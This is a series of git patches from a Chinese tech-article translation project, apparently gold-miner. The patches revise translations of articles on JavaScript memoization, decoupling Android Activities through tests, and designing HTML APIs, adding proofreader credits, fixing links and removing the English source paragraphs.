+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -135,8 +135,8 @@
 
 1. 序列化参数
 2. 检查给定输入的输出是否已经计算过
-3. 如果`是`，从缓存中读取结果
-4. 如果`否`，计算，并且将结果保存到缓存中
+3. 如果 `true`，从缓存中读取结果
+4. 如果 `false`，计算，并且将结果保存到缓存中
 
 ![Variable strategy](https://blog-assets.risingstack.com/2017/01/variable-strategy.png)
 

From 3e5424dc3eb4f63e29cbc448f304d2920fc43e41 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 9 May 2017 19:08:54 +0800
Subject: [PATCH 388/638] Update
 the-worlds-fastest-javascript-memoization-library.md

---
 TODO/the-worlds-fastest-javascript-memoization-library.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index c4627b9ebed..01a37bde57c 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Caio Gondim](https://community.risingstack.com/author/caio/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[薛定谔的猫](https://github.com/Aladdin-ADD)
-> * 校对者：[GangsterHyj](https://github.com/GangsterHyj) [sunui](https://github.com/sunui)
+> * 校对者：[GangsterHyj](https://github.com/GangsterHyj)，[sunui](https://github.com/sunui)
 
 # 我是如何实现世界上最快的 JavaScript 记忆化的 #
 
@@ -201,7 +201,7 @@ V8 会更根据函数的调用频率、代码结构等因素，做很多运行
 
 ![fastest javascript memoize combinations](https://blog-assets.risingstack.com/2017/01/fastest-javascript-memoize-combinations.png)
 
-Legend:
+图例：
 
 1. **策略**: 偏函数, **缓存**: 普通对象, **序列化器**: json-stringify
 2. **策略**: 偏函数, **缓存**: 无原型对象, **序列化器**: json-stringify

From 79d7aed85789164d58053062ed8d2932631243ba Mon Sep 17 00:00:00 2001
From: mnikn <329121948@qq.com>
Date: Tue, 9 May 2017 20:41:05 +0800
Subject: [PATCH 389/638] modify v2

---
 ...est-driving-away-coupling-in-activities.md | 34 +++++++++----------
 1 file changed, 17 insertions(+), 17 deletions(-)

diff --git a/TODO/test-driving-away-coupling-in-activities.md b/TODO/test-driving-away-coupling-in-activities.md
index b7d3ece8c02..c2f5c5befcd 100644
--- a/TODO/test-driving-away-coupling-in-activities.md
+++ b/TODO/test-driving-away-coupling-in-activities.md
@@ -2,20 +2,20 @@
 > * 原文作者：[philosohacker](https://twitter.com/philosohacker)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[mnikn](https://github.com/mnikn)
-> * 校对者：
+> * 校对者：[phxnirvana](https://github.com/phxnirvana)，[stormrabbit](https://github.com/stormrabbit)
 
 # 通过测试来解耦Activity
 
-`Activity` 和 `Fragment`，可能是因为一些[奇怪的历史巧合](/post/why-android-testing-is-so-hard-historical-edition/)，从 Android 推出之时起就被视为构建 Android 应用的**最佳**构件。我们把这种想法——`Activity` 和 `Fragment` 是应用的最佳构件——称为“android-centric”架构。
+`Activity` 和 `Fragment`，可能是因为一些[奇怪的历史巧合](https://www.philosophicalhacker.com/post/why-android-testing-is-so-hard-historical-edition/)，从 Android 推出之时起就被视为构建 Android 应用的**最佳**构件。我们把`Activity` 和 `Fragment` 是应用的最佳构件这种想法称为“android-centric”架构。
 
 本系列博文是关于 android-centric 架构的可测试性和其它问题之间的联系的，而这些问题正导致 Android 开发者们排斥这种架构。这些博文也涉及单元测试怎样试图告诉我们：`Activity` 和 `Fragment` 不是应用的最佳构件，因为它们迫使我们写出**高耦合**和**低内聚**的代码。
 
 
-[上次](/post/what-unit-tests-are-trying-to-tell-us-about-activities-pt-2/),我们发现`Activity` 和 `Fragment`有低内聚的倾向。这次，通过测试我们将会发现 `Activity` 是高耦合的。我们还会发现如何通过测试来驱使实现一个耦合度更低的设计，这样我们就能轻易地改变应用和有更多的机会来减去重复代码。在这系列博文中的其他文章，我们将会把 Google I/O 做为例子来进行探讨。
+[上次](https://www.philosophicalhacker.com/post/what-unit-tests-are-trying-to-tell-us-about-activities-pt-2/),我们发现`Activity` 和 `Fragment`有低内聚的倾向。这次，通过测试我们将会发现 `Activity` 是高耦合的。我们还会发现如何通过测试来驱使实现一个耦合度更低的设计，这样我们就能轻易地改变应用和有更多的机会来减去重复代码。像本系列博文中的其他文章一样，我们依然以 Google I/O 应用为例子进行探讨。
 
 ### 目标代码
 
-我们想要测试的“目标代码”，在做以下事情：当用户移到 map 界面时，所有的 Google I/O 章节都会显示，并询问用户的位置。如果用户拒绝这项请求，我们会发出一个 toast 来通知用户说已经关闭这项请求。这是其中的截图：
+我们想要测试的“目标代码”，做了以下工作：当用户进入展示所有 Google I/O session 的地图界面时，app 会请求当前位置。如果用户拒绝提供定位权限，我们会弹出一个 toast 来提示用户已禁用此权限。这是其中的截图：
 
 ![拒绝请求的 toast](https://www.philosophicalhacker.com/images/permission-denied-snackbar.png)
 
@@ -67,15 +67,15 @@ public void showsToastIfPermissionIsRejected()
 }
 ```
 
-当然你很希望能知道 `assertToastDisplayed()` 是怎么实现的。重点来了：我们不会直接实现该方法。为了避免实现后再重构我们的代码，我们需要使用 roboelectric 和 powermock。
+当然你很希望能知道 `assertToastDisplayed()` 是怎么实现的。重点来了：我们不会直接实现该方法。为了避免实现后再重构我们的代码，我们需要使用 Roboelectric 和 Powermock。（译者注：Roboelectric 和 Powermock 均为测试框架）
 
-然而，自从我们尝试根据我们的测试来[改变我们写代码的方式，而不是写测试的方式](/post/why-i-dont-use-roboletric/)，我们要停一会来想一想这些测试想要告诉我们什么事情：
+不过，既然我们更希望根据测试来[改变我们写代码的方式，而不是仅仅改变写测试的方式](https://www.philosophicalhacker.com/post/why-i-dont-use-roboletric/)，我们要停一会来想一想这些测试想要告诉我们什么事情：
 
 > 我们在 `MapActivity` 里面的代码逻辑和 `Toast` 紧密地耦合在一起。
 
-这之间的耦合驱使我们使用 roboelectric 来模拟 android 行为和 powermock 来模拟静态的 `Toast.makeText` 方法。作为替换，让我们根据测试来去除耦合。
+这之间的耦合驱使我们使用 Roboelectric 来模拟 android 行为和 powermock 来模拟静态的 `Toast.makeText` 方法。作为替换，让我们以测试为驱动来去除耦合。
 
-为了让我们重构有个方向，我们先写测试。这将确保我们的**新**类已经解耦。为了避免 Roboelectric，我们需要在这特殊情况下创建一个新类，但是通常来说，我们只需重构已存在的类来解耦。
+为了让我们重构有个方向，我们先写测试。这将确保我们的**新**类已经解耦。为了避免使用 Roboelectric 框架，我们需要在这特殊情况下创建一个新类，但是通常来说，我们只需重构已存在的类来解耦。
 
 ```
 @Test
@@ -93,7 +93,7 @@ public void displaysErrorWhenPermissionRejected() throws Exception {
 }
 ```
 
-我们已经介绍过 `OnPermissionResultListener`，它的工作就是处理请求用户许可的结果。代码如下：
+我们已经介绍过 `OnPermissionResultListener`，它的工作就是处理用户对 app 请求权限的反应。代码如下：
 
 ```
 void onPermissionResult(final int requestCode,
@@ -140,19 +140,19 @@ public class MapActivity extends BaseActivity
 }
 ```
 
-这也许不是**最好**的解决方案，但是这能让我们抓住可以在哪里测试这一重心。这**要求** `OnPermissionResultListener` 降低和 `PermittedView` 的耦合度。降耦 == 软件质量的提升。
+这也许不是**最好**的解决方案，但是这能让我们抓住可以在哪里测试这一重心。这**要求** `OnPermissionResultListener` 降低和 `PermittedView` 的耦合度。解耦 == 显而易见的进步。
 
-### 为什么要这样做？
+### 有必要么？
 
-对于这一点，一些读者可能会有所怀疑。“这样真的会提高软件的质量吗？”，他们可能会怀疑自己做得是否正确。有两点理由可以确认为什么这样设计**更好**。
+对于这一点，一些读者可能会有所怀疑。“这样真的算优化代码吗？”他们会大惑不解。有两点理由可以确认为什么这样设计**更好**。
 
-（无论我给出哪一个理由，你都会发现其解释是“因为它能够被测试，所以它设计得更好”，这是一个很重要的原因。）
+（无论我给出哪一个理由，你都会发现其解释是“因为它的可测试性更好，所以它设计得更好”，这是一个很重要的原因。）
 
 #### 更容易改变
 
 首先，因为所组成的内容耦合度低，从而能够更容易地改变代码，而且更精彩的是：我们刚刚测试 Google I/O 应用的代码**实际上已经改变了**，通过我们的测试，能让其改代码变得更容易。所测试的代码来自[一个较旧的 commit](https://github.com/google/iosched/blob/bd31a838ce4ddc123c71025c859959517c7ae178/android/src/main/java/com/google/samples/apps/iosched/map/MapActivity.java)。之后，写 I/O 应用的人们决定把 `Toast` 替换为 `Snackbar`：
 
-![snackbar 拒绝请求](http：/images/permission-denied-snackbar.png)
+![snackbar 拒绝请求](https://www.philosophicalhacker.com/images/permission-denied-snackbar.png)
 
 这是一个小改变，但是因为我们已经把 `OnPermissionResultListener` 从 `PermittedView` 中分离出来，我们可以只专注于改变 `PermittedView` 在 `MapActivity` 里面的实现，而无需担心 `OnPermissionResultListener`。
 
@@ -175,13 +175,13 @@ public void displayPermissionDenied() {
 
 #### 去重
 
-这是另一个有趣的原因，为什么实际上通过我们的测试来迫使我们解耦是一件好事：耦合通常会导致重复。Kent Beck 曾对此有相关看法：
+另一个“为什么实际上通过我们的测试来迫使我们解耦是一件好事”的有趣原因是：耦合通常会导致重复。Kent Beck 曾对此有相关看法：
 
 > 依赖是任意规模的软件开发的重点问题。。。如果依赖成为了问题，这就会体现在重复上。
 > 
 > -Kent Beck, TDD By Example, pg 7.
 
-如果这是对的，当我们解耦，我们将会发现更多的去重机会。的确，在我们这次案例中这个观点显得很准确。我们发现有另外一个类的 `onRequestPermissionsResult` 和 `MapActivity` 的几乎一样：[`AccountFragment`](https://github.com/google/iosched/blob/bd31a838ce4ddc123c71025c859959517c7ae178/android/src/main/java/com/google/samples/apps/iosched/welcome/AccountFragment.java#L139)。我们的测试指引我们来创建 `OnPermissionResultListener` 和 `PermittedView` 这两个类，因此 - 无需任何修改 - 可以在其他类中复用。
+如果这是对的，当我们解耦，我们将会发现更多的去重机会。的确，在我们这次案例中这个观点显得很准确。事实上有另外一个类的 `onRequestPermissionsResult` 和 `MapActivity` 的几乎一样：[`AccountFragment`](https://github.com/google/iosched/blob/bd31a838ce4ddc123c71025c859959517c7ae178/android/src/main/java/com/google/samples/apps/iosched/welcome/AccountFragment.java#L139)。我们的测试指引我们来创建 `OnPermissionResultListener` 和 `PermittedView` 这两个接口，因此无需任何修改就可以在其他类中复用。
 
 ### 结论
 
@@ -191,7 +191,7 @@ public void displayPermissionDenied() {
 
 ### 注意
 
-1. 这也可能表现为无法让你的被测代码在测试中以一个正确的状态表现出来。例如我们在[这篇文章](in this post)所看到的。
+1. 这也可能表现为无法让你的被测代码在测试中以一个正确的状态表现出来。例如我们在本篇中所看到的。
 
 ### 我们在 [Unikey](http://www.unikey.com/) 招聘中级 Android 开发者。如果你想要在 Orlando 智能锁定空间里的一间初创公司工作，请发邮件给我。
 ---

From 2788a339a47ee36a201dde088135c7dd562dd3fb Mon Sep 17 00:00:00 2001
From: Romeo <romeo0906@foxmail.com>
Date: Tue, 9 May 2017 21:28:28 +0800
Subject: [PATCH 390/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E8=80=85=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/designing-html-apis.md | 144 ++++++------------------------------
 1 file changed, 22 insertions(+), 122 deletions(-)

diff --git a/TODO/designing-html-apis.md b/TODO/designing-html-apis.md
index 3cab8583976..c4ddf0ae386 100644
--- a/TODO/designing-html-apis.md
+++ b/TODO/designing-html-apis.md
@@ -2,32 +2,20 @@
 * 原文作者：[Lea Verou](https://www.smashingmagazine.com/author/lea-verou/)
 * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 * 译者：[王子建](https://github.com/Romeo0906)
-* 校对者：
+* 校对者：[薛定谔的猫](https://github.com/Aladdin-ADD)、[zhangqippp](https://github.com/zhangqippp)
 
-# HTML APIs: What They Are And How To Design A Good One #
-
-#何为 HTML API，如何设计之？#
-
-As JavaScript developers, we often forget that not everyone has the same knowledge as us. It’s called the [curse of knowledge](https://en.wikipedia.org/wiki/Curse_of_knowledge): When we’re an expert on something, we cannot remember how confused we felt as newbies. We overestimate what people will find easy. Therefore, we think that requiring a bunch of JavaScript to initialize or configure the libraries we write is OK. Meanwhile, some of our users struggle to use them, frantically copying and pasting examples from the documentation, tweaking them at random until they work.
+#如何设计优秀的 HTML API#
 
 作为 JavaScript 开发者，我们经常忘记并不是所有人都像我们一样了解 JavaScript，这被称为[知识的诅咒](https://en.wikipedia.org/wiki/Curse_of_knowledge)：当我们精通某个内容的时候，我们就不记得自己作为新人的时候有多么困惑。我们总是对其他人的能力估计过高，因此我们觉得，自己写的类库需要一些 JavaScript 代码去初始化和配置也很 OK。然而，一些用户却在使用过程中大费周折，他们疯狂地从文档中复制粘贴例子并随机组合这些代码，直到它们生效。
 
-You might be wondering, “But all HTML and CSS authors know JavaScript, right?” Wrong. Take a look at the results of [my poll](https://twitter.com/LeaVerou/status/690583334414635009), which is the only data on this I’m aware of. (If you know of any proper studies on this, please mention them in the comments!)
-
-你或许会想，“但是所有写 HTML 和 CSS 的人都会 JavaScript，对吧？”你错了。来看看我的[测验结果](https://twitter.com/LeaVerou/status/690583334414635009)吧，这是我所知道的唯一数据了。（如果你知道任何适用于这个话题的调查，请在评论中说明！）
+你或许会想，“但是所有写 HTML 和 CSS 的人都会 JavaScript，对吧？”你错了。来看看我的[调查结果](https://twitter.com/LeaVerou/status/690583334414635009)吧，这是我所知道的唯一的相关数据了。（如果你知道任何适用于这个话题的调查，请在评论中说明！）
 
 ![](https://www.smashingmagazine.com/wp-content/uploads/2017/02/lea-verou-poll-tweet-opt.png) 
 
-Poll: “How comfortable are you with JavaScript?” ([22 January 2016](https://twitter.com/LeaVerou/status/690583334414635009)
-
 测试：“你对 JavaScript 好感如何？”（[2016 年 1 月 22 日](https://twitter.com/LeaVerou/status/690583334414635009)）
 
-One in two people who write HTML and CSS is **not comfortable with JavaScript**. One in two. Let that sink in for a moment.
-
 每两个写 HTML 和 CSS 的人中就有一个**对 JavaScript 没有好感**。1/2，让我们感受一下这个比例。
 
-As an example, look at the following code to initialize a jQuery UI autocomplete, taken from [its documentation](https://jqueryui.com/autocomplete/):
-
 举个例子，来看以下的代码，该代码用来初始化一个 jQuery UI 自动完成库，摘自[其文档](https://jqueryui.com/autocomplete/)。
 
 ```
@@ -49,12 +37,8 @@ $( function() {
 } );
 ```
 
-This is easy, even for people who don’t know any JavaScript, right? Wrong. A non-programmer would have all sorts of questions going through their head after seeing this example in the documentation. “Where do I put this code?” “What are these braces, colons and brackets?” “Do I need them?” “What do I do if my element does not have an ID?” And so on. Even this tiny snippet of code requires people to understand object literals, arrays, variables, strings, how to get a reference to a DOM element, events, when the DOM is ready and much more. Things that seem trivial to programmers can be an uphill battle to HTML authors with no JavaScript knowledge.
-
 这很简单，即使对那些根本不会 JavaScript 的人来说也很简单，对吧？错。一个非程序员在文档中看到这个例子的时候，脑子里会闪过各种问题：“我该把这段代码放哪儿呢？”“这些花括号、冒号和方括号是些什么鬼？”“我要用这些吗？”“如果我的元素没有 ID 怎么办？”等等。即使这段极其简短的代码也要求人们了解对象字面量、数组、变量、字符串、如何获取 DOM 元素的引用、事件、 DOM 树何时构建完毕等等更多知识。这些对于程序员来说微不足道的事情，对不会 JavaScript 的只会写 HTML 的人来说都是一场攻坚战。
 
-Now consider the equivalent declarative code [from HTML5](https://www.w3.org/TR/html5/forms.html#the-datalist-element):
-
 现在来看一下 [HTML5](https://www.w3.org/TR/html5/forms.html#the-datalist-element) 中的等效声明性代码：
 
 ```
@@ -71,170 +55,86 @@ Now consider the equivalent declarative code [from HTML5](https://www.w3.org/TR/
 </div>
 ```
 
-Not only is this much clearer to anyone who can write HTML, it is even easier for programmers. We see that everything is set in one place, no need to care about when to initialize, how to get a reference to the element and how to set stuff on it. No need to know which function to call to initialize or which arguments it accepts. And for more advanced use cases, there is also a JavaScript API in place that allows all of these attributes and elements to be created dynamically. It follows one of the most basic API design principles: It makes the simple easy and the complex possible.
-
-这让会写 HTML 的人感觉更加清楚明白，对程序员来说甚至更为简单。我们看到所有的内容都同时被设置好，不必关心什么时候初始化，如何获取元素的引用和如何设置每个内容，无需知道哪个函数是用来初始化或者它需要什么参数。在更高级的使用情况中，还会添加一个 JavaScript API 来允许动态创建属性和元素。这遵循了一条最基本的 API 设计原则：让简单的内容变得更简单，让复杂的内容得以实现。
-
-This brings us to **an important lesson about HTML APIs**: They would benefit not only people with limited JavaScript skill. For common tasks, even we, programmers, are often eager to sacrifice the flexibility of programming for the convenience of declarative markup. However, we somehow forget this when writing a library of our own.
+这会让写 HTML 的人看得更清楚更明白，在程序员看来更为简单。我们看到所有的内容都同时被设置好，不必关心什么时候初始化，如何获取元素的引用和如何设置每个内容，无需知道哪个函数是用来初始化或者它需要什么参数。在更高级的使用情况中，还会添加一个 JavaScript API 来允许动态创建属性和元素。这遵循了一条最基本的 API 设计原则：让简单的内容变得更简单，让复杂的内容得以实现。
 
 这给我们上了一堂**关于 HTML API 的重要课程**：HTML API 不光要给那些了解 JavaScript 但水平有限的人带来福音，还要让我们，程序员，在普通的工作中也要不惜牺牲程序的灵活性来换取更高的表述性。然而不知怎的，我们在写自己的类库的时却总忘记这些。
 
-So, what is an HTML API? [According to Wikipedia](https://en.wikipedia.org/wiki/Application_programming_interface), an API (or application programming interface) is “is a set of subroutine definitions, protocols, and tools for building application software.” In an HTML API, the definitions and protocols are in the HTML itself, and the tools look in HTML for the configuration. HTML APIs usually consist of certain class and attribute patterns that can be used on existing HTML. With Web Components, even [custom element names](https://www.w3.org/TR/custom-elements/)are game, and with the [Shadow DOM](https://dom.spec.whatwg.org/#shadow-trees), those can even have an entire internal structure that is hidden from the rest of the page’s JavaScript or CSS. But this is not an article about Web Components; Web Components give more power and options to HTML API designers; but the principles of good (HTML) API design are the same.
-
-那么什么是 HTML API 呢？根据[维基百科](https://en.wikipedia.org/wiki/Application_programming_interface)的定义,API（也就是应用程序接口）是“用于构建应用程序软件的一组子程序定义、协议和工具”。在 HTML API 中，定义和协议就是 HTML ，工具在 HTML 中配置。HTML API 通常由可用于现有的类和属性模式组成。通过 Web 组件，甚至可以像玩游戏一般[自定义元素名称](https://www.w3.org/TR/custom-elements/)，和[Shadow DOM](https://dom.spec.whatwg.org/#shadow-trees)，HTML API 甚至能拥有完整的内部结构，并隐藏在页面其余的 JavaScript 或者 CSS 中。但是这并不是一篇关于 Web 组件的文章，Web 组件给予了 HTML API 设计者更多的能力和选择，但是良好的（HTML）API 设计原则都是可以举一反三的。
-
-HTML APIs improve collaboration between designers and developers, lift some work from the shoulders of the latter, and enable designers to create much higher-fidelity mockups. Including an HTML API in your library does not just make the community more inclusive, it also ultimately comes back to benefit you, the programmer.
-
-HTML API 加强了设计师和工程师之间的合作，减轻工程师肩上的工作负担，还能让设计师创造更具有忠诚度的原型。在类库中引入 HTML API 不仅让社区更具包容性，最终还能造福程序员。
+那么什么是 HTML API 呢？根据[维基百科](https://en.wikipedia.org/wiki/Application_programming_interface)的定义,API（也就是应用程序接口）是“用于构建应用程序软件的一组子程序定义、协议和工具”。在 HTML API 中，定义和协议就是 HTML ，工具在 HTML 中配置。HTML API 通常由可用于现有 HTML 内容的类和属性模式组成。通过 Web 组件，甚至可以像玩游戏一般[自定义元素名称](https://www.w3.org/TR/custom-elements/)，和[Shadow DOM](https://dom.spec.whatwg.org/#shadow-trees)，HTML API 甚至能拥有完整的内部结构，并且对页面其余部分隐藏实现细节。。但是这并不是一篇关于 Web 组件的文章，Web 组件给予了 HTML API 设计者更多的能力和选择，但是良好的（HTML）API 设计原则都是可以举一反三的。
 
-**Not every library needs an HTML API.** HTML APIs are mostly useful in libraries that enable UI elements such as galleries, drag-and-drop, accordions, tabs, carousels, etc. As a rule of thumb, if a non-programmer cannot understand what your library does, then your library doesn’t need an HTML API. For example, libraries that simplify or help to organize code do not need an HTML API. What kind of HTML API would an MVC framework or a DOM helper library even have?
+HTML API 加强了设计师和工程师之间的合作，减轻工程师肩上的工作负担，还能让设计师创造更具还原度的原型。在类库中引入 HTML API 不仅让社区更具包容性，最终还能造福程序员。
 
 **并不是每个类库都需要  HTML API。**HTML API 在使用了 UI 元素的类库中非常有用，比如 galleries、drag-and-drop、accordions、tabs、carousels 等等。经验表明，如果一个非程序员不能理解该类库的功能，它就不需要 HTML API。比如，那些简化代码或者帮助管理代码的库就不需要 HTML API。那 MVC 框架或者 DOM 助手之类的库又怎会需要 HTML API 呢？
 
-So far, we have discussed what an HTML API is, why it is useful and when it is needed. The rest of this article is about how to design a good one.
-
 目前为止，我们只讨论了 HTML API 的定义、功能和用处，文章剩下的部分是关于如何设计一个好的 HTML API。
 
-### Init Selector ###
-
 ### 初始化选择器 ###
 
-With a JavaScript API, initialization is strictly controlled by the library’s user: Because they have to manually call a function or create an object, they control precisely when it runs and on what. With an HTML API, we have to make that choice for them, and make sure not to get in the way of the power users who will still use JavaScript and want full control.
-
-在 JavaScript API 中，初始化是被类库的用户严格控制的：因为他们必须手动调用函数或者创建对象，他们精确地控制着其运行的时间和基础。在 HTML API 中，我们必须帮用户选择并且还要确保不会妨碍那些仍然使用 JavaScript 并希望完全控制的用户。
-
-The common way to resolve the tension between these two use cases is to only auto-initialize elements that match a given selector, usually a specific class. [Awesomplete](http://leaverou.github.io/awesomplete) follows this approach, only picking up input elements with `class="awesomplete"`.
-
-最常见的兼容两种使用场景的办法就是，只有匹配到给定的选择器（通常是一个特定的类）时才会自动初始化。[Awesomplete](http://leaverou.github.io/awesomplete) 就是采用的这种方法，只选取具有 `class="awesomplete"` 的元素进行初始化。
-
-In some cases, making auto-initialization easy is more important than making opt-in explicit. This is common when your library needs to run on a lot of elements, and when avoiding having to manually add a class to every single one is more important than making opt-in explicit. For example, [Prism](http://prismjs.com/) automatically highlights any `<code>` element that contains a `language-xxx` class (which is what the HTML5 specification [recommends for specifying the language of a code snippet](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)) or that is inside an element that does. This is because it could be included in a blog with a ton of code snippets, and having to go back and add a class to every single one of them would be a huge hassle.
+在 JavaScript API 中，初始化是被类库的用户严格控制的：因为他们必须手动调用函数或者创建对象，他们精确地控制着其运行的时间和基础。在 HTML API 中，我们要帮用户选择，同时也要确保不会妨碍那些仍然使用 JavaScript 的用户，因为他们可能希望得到完全控制。
 
-有时候，简化自动初始化比做显式选择初始化更重要。这很常见，当你的类库需要运行在众多元素之上时，避免手动给每个元素单独添加类比显式选择初始化更加重要。比如，[Prism](http://prismjs.com/) 自动高亮任何包含 `language-xxx` 类的 `<code>` 元素（HTML5 的说明中[建议指定代码段的语言](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)）及其内部的元素。这是因为 Prism 可能会用在一个有着成千上万代码段的博客系统中，回过头去给每一个元素添加类将会是一项非常巨大的工程。
+最常见的兼容两种使用场景的办法就是，只有匹配到给定的选择器（通常是一个特定的类）时才会自动初始化。[Awesomplete](http://leaverou.github.io/awesomplete) 就是采用的这种方法，只选取具有 `class="awesomplete"` 的 input 元素进行初始化。
 
-In cases where the `init` selector is used very liberally, a good practice is to allow customization of it or allow opting-out of auto-initialization altogether. For example, [Stretchy](https://leaverou.github.io/stretchy)[13](#13) autosizes *every*`<input>`, `<select>` and `<textarea>` by default, but allows customization of its `init` selector to something more specific via a `data-stretchy-filter` attribute. Prism supports a `data-manual` attribute on its `<script>` element to completely disable automatic initialization. A good practice is to allow this option to be set via either HTML or JavaScript, to accommodate both types of library users.
+有时候，简化自动初始化比做显式选择初始化更重要。这很常见，当你的类库需要运行在众多元素之上时，避免手动给每个元素单独添加类比显式选择初始化更加重要。比如，[Prism](http://prismjs.com/) 自动高亮任何包含 `language-xxx` 类的 `<code>` 元素（HTML5 的说明中[建议指定代码段的语言](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)）及其包含 `languate-xxx` 类的元素内部的 `<code>` 元素。这是因为 Prism 可能会用在一个有着成千上万代码段的博客系统中，回过头去给每一个元素添加类将会是一项非常巨大的工程。
 
-在可以自由地使用 `init` 选择器的情况下，允许选择是否自动化将会是一个良好的实践。比如，[Stretchy](https://leaverou.github.io/stretchy) 默认自动调整**每个** `<input>`、`<select>` 和 `<textarea>` 的尺寸，但是也允许通过 `data-stretchy-filter` 属性自定义设置其他指定元素为 `init` 选择器。Prism 支持 `<script>` 元素的 `data-manual` 属性来完全取消自动初始化。良好的实践应该允许 HTML 和 JavaScript 都能设置这个选项，来适应 HTML 和 JavaScript 两种类库的用户。
-
-### Minimize Init Markup  ###
+在可以自由地使用 `init` 选择器的情况下，允许选择是否自动化将会是一个良好的实践。比如，[Stretchy](https://leaverou.github.io/stretchy) 默认自动调整**每个** `<input>`、`<select>` 和 `<textarea>` 的尺寸，但是也允许通过 `data-stretchy-filter` 属性自定义指定其他元素为 `init` 选择器。Prism 支持 `<script>` 元素的 `data-manual` 属性来完全取消自动初始化。良好的实践应该允许 HTML 和 JavaScript 都能设置这个选项，来适应 HTML 和 JavaScript 两种类库的用户。
 
 ###最小化初始标记###
 
-So, for every element the `init` selector matches, your library needs a wrapper around it, three buttons inside it and two adjacent divs? No problem, but generate them yourself. This kind of grunt work is better suited to machines, not humans. **Do not expect that everyone using your library is also using some sort of templating system**: Many people are still hand-crafting markup and find build systems too complicated. Make their lives easier.
-
 那么，对于 `init` 选择器的每个元素来说，你的类库都需要其有一个封包、三个内部的 button 和两个相邻的 div 该怎么办呢？没问题，自己生成就好了。但是这种磨磨唧唧的工作更适合机器，而不是人。**不要期望每个使用类库的人都同时使用了一些模板系统**：许多人还在使用手动添加标记，他们会发现这样建造系统太过复杂。因此，我们有义务让他们活的轻松一点。
 
-This also minimizes error conditions: What if a user includes the class that you expect for initialization but not all of the markup you need? When there is no extra markup to add, no such errors are possible.
-
 这种做法也最小化了错误风险：如果一个用户仅仅引入了用来初始化的类却没有引入所有需要的标记怎么办？如果不需要添加额外的标记，就不会产生错误。
 
-There is one exception to this rule: graceful degradation and progressive enhancement. For example, embedding a tweet involves a lot of markup, even though a single element with `data-*` attributes for all the options would suffice. This is done so that the tweet is readable even before the JavaScript loads or runs. A good rule of thumb is to ask yourself, does the extra markup offer a benefit to the end user even without JavaScript? If so, then requiring it is OK. If not, then generate it with your library.
-
 这条规则中有一个例外：优雅地退化并渐进地增强。比如，即使单个具有“ data- * ”属性的元素并在“ data-* ”中添加所有选项就可以实现，在嵌入推文的时候也还是会涉及很多标记。这样做是为了在 JavaScript 加载和运行之前就使得推文可读。一个良好的经验法则就是扪心自问，即使在没有 JavaScript ，多余的标记能否给终端用户带来好处？如果是，那么就引入；如果不是，那就要用类库生成。
 
-There is also the classic tension between ease of use and customization: Generating all of the markup for the library’s user is easier for them, but leaving them to write it gives them more flexibility. **Flexibility is great when you need it, but annoying when you don’t**, and you still have to set everything manually. To balance these two needs, you can generate the markup you need if it doesn’t already exist. For example, suppose you wrap all `.foo` elements with a `.foo-container` element? First, check whether the parent — or, better yet, any ancestor, via `element.closest(".foo-container")` — of your `.foo` element already has the `foo-container` class, and if so, use that instead of creating a new element.
-
 便于用户使用还是让用户自定义也是一组经典的矛盾：自动生成所有的标记会易于用户使用，让用户自定义又显得更加灵活。**在你需要的时候，灵活性如雪中送炭，在不需要的时候却适得其反，**因为你不得不手动设置所有的参数。为了平衡这两种需要，你可以生成那些需要但不存在的标记。比如，假设你需要给所有的 `.foo` 元素外层添加一个 `.foo-container` 元素。首先，通过 `element.closest(".foo-container")` 检查 `.foo` 元素的父元素或者任何的祖先元素（这样最好了）是否含有 `foo-container` 类，如果有的话，你就不用生成新的元素，直接使用就可以了。
 
-### Settings ###
-
 ###设置###
 
-Typically, settings should be provided via `data-*` attributes on the relevant element. If your library adds a ton of attributes, then you might want to namespace them to prevent collisions with other libraries, like `data-foo-*` (where foo is a one-to-three letter prefix based on your library’s name). If that’s too long, you could use `foo-*`, but bear in mind that this will break HTML validation and might put some of the more diligent HTML authors off your library because of it. Ideally, you should support both, if it won’t bloat your code too much. None of the options here are ideal, so there is an ongoing [discussion](https://github.com/whatwg/html/issues/2271) in the WHATWG about whether to legalize such prefixes for custom attributes.
-
 典型地，设置应该通过在恰当的元素上使用 `data-*` 属性来实现。如果你的类库中添加了成千上万的属性，然后你希望给它们添加命名空间来避免和其他类库混淆，比如这样 `data-foo-*`（foo 是基于类库名字的一到三个字母长度的前缀）。如果名字显得太长，你可以使用 `foo-*`，但是要有心理准备，这种方式会打破 HTML 验证并且会使得一些勤劳的 HTML 作者因此而弃用你的类库（因为他们宁愿费点力气，也不愿意使用这种命名。译者注。）。理想情况下，只要代码不会太臃肿，以上两种情况都应该支持。目前还没有完美的解决办法，因此在 WHATWG 中展开了一场如火如荼的[讨论](https://github.com/whatwg/html/issues/2271)：是否应该让自定义的属性前缀合法化。
 
-**Follow the conventions of HTML as much as possible.** For example, if you use an attribute for a boolean setting, its presence means `true` regardless of the value, and its absence means `false`. Do not expect things like `data-foo="true"` or `data-foo="false"` instead. Sure, ARIA does that, but if ARIA jumped off a cliff, would you do it, too?
-
